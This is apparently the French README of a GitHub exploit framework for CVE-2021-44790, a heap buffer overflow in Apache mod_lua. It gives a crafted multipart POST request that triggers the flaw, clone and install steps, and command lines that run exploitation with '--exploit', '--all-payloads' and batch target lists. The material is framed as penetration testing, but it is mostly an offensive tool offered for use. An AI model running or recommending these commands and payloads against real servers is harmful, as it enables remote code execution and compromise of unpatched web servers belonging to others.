🔥 CVE-2021-44790 - Exploitation du dépassement de tampon d'Apache mod_lua
📋 Aperçu
Exploitation du dépassement de tampon d'Apache mod_lua est une plateforme d'exploitation avancée de niveau entreprise pour CVE-2021-44790 - une vulnérabilité critique de dépassement de tampon dans le module mod_lua du serveur Apache HTTP Server 2.4.x. Ce framework offre des capacités complètes d'empreinte numérique, de découverte intelligente de scripts, d'analyse multi-étapes et de génération de rapports professionnels, avec une détection à plus de 95 % de confiance.
⚡ Fonctionnalités clés
| Fonctionnalité | Description |
|---|
| 🔍 Empreinte numérique avancée | Détection de la version d'Apache, de mod_lua, du système d'exploitation, de l'architecture, du WAF, du CDN, du conteneur et du fournisseur cloud |
| 🎯 Découverte intelligente | Plus de 7 techniques de découverte, notamment robots.txt, sitemap, analyse HTML, extraction JavaScript |
| 💥 Analyse multi-étapes | Connexion → Empreinte → Découverte → Vérification → Exploitation → Rapport |
| 🧩 Système de plugins extensible | Développement facile de plugins pour de futures CVE |
| 🌐 Moteur HTTP intelligent | Pool de connexions, nouvelles tentatives, prise en charge HTTP/2, limitation du débit |
| 📊 Rapports complets | JSON, HTML, Markdown, PDF avec tableaux de bord interactifs |
| 🎨 Interface terminal élégante | Bibliothèque Rich avec barres de progression, tableaux et sortie à code couleur |
| 💾 Base de données de recherche | Stockage SQLite avec historique complet des analyses et prise en charge des requêtes |
| 📸 Capture d'écran | Captures d'écran automatiques des pages web pour la collecte de preuves |
| 🚀 Haute performance | Plus de 20 threads simultanés, plus de 100 pools de connexions |
🎯 Détails de la vulnérabilité
| Attribut | Valeur |
|---|
| CVE ID | CVE-2021-44790 |
| Vulnérabilité | Dépassement de tampon (sous-dépassement d'entier) |
| Logiciel affecté | Apache HTTP Server 2.4.0 à 2.4.51 |
| Version corrigée | Apache HTTP Server 2.4.52 et ultérieur |
| Composant | Module mod_lua |
| Vecteur d'attaque | Réseau (à distance) |
| Score CVSS | 9,8 (Critique) |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
| Maturité de l'exploit | Preuve de concept disponible |
Description technique
La vulnérabilité se situe dans le module mod_lua lors du traitement des requêtes multipart/form-data. Un sous-dépassement d'entier dans la fonction lua_request_parsebody() peut conduire à un dépassement de tampon basé sur le tas (heap), permettant potentiellement l'exécution de code à distance.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
📸 Captures d'écran
| Interface principale | Résultats d'empreinte |
|---|
 |  |
| Progression de l'analyse | Tableau de bord du rapport HTML |
|---|
 |  |
🚀 Démarrage rapide
Installation
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
Utilisation de base
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
📋 Utilisation détaillée
Options de la ligne de commande
python3 exploit.py [TARGET] [OPTIONS]
| Option | Description | Exemple |
|---|
TARGET | URL cible | http://target.com |
--config FILE | Fichier de configuration | --config config.yaml |
--threads N | Nombre de threads | --threads 30 |
--timeout N | Délai d'expiration de la requête (secondes) | --timeout 15 |
--proxy URL | URL du proxy | --proxy http://127.0.0.1:8080 |
--verbose | Sortie détaillée | --verbose |
--scan-only | Analyse sans exploitation | --scan-only |
--exploit | Activer l'exploitation | --exploit |
--all-payloads | Utiliser toutes les charges utiles | --all-payloads |
--report FORMAT | Format du rapport (json/html/markdown/all) | --report all |
--output DIR | Répertoire de sortie | --output /path/to/reports/ |
--research | Activer le mode recherche | --research |
--database FILE | Chemin de la base de données | --database luastorm.db |
--screenshot | Prendre des captures d'écran | --screenshot |
--batch FILE | Fichier de lot contenant les cibles | --batch targets.txt |
--query SQL | Exécuter une requête de base de données | --query "SELECT * FROM targets" |
Exemples
1. Évaluation de base de la vulnérabilité
python3 exploit.py https://example.com --verbose --report all
2. Analyse d'environnement d'entreprise
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
3. Test d'intrusion complet
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
4. Analyse par lot
python3 exploit.py --batch targets.txt --config config.yaml
5. Requêtes de base de données
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
⚙️ Configuration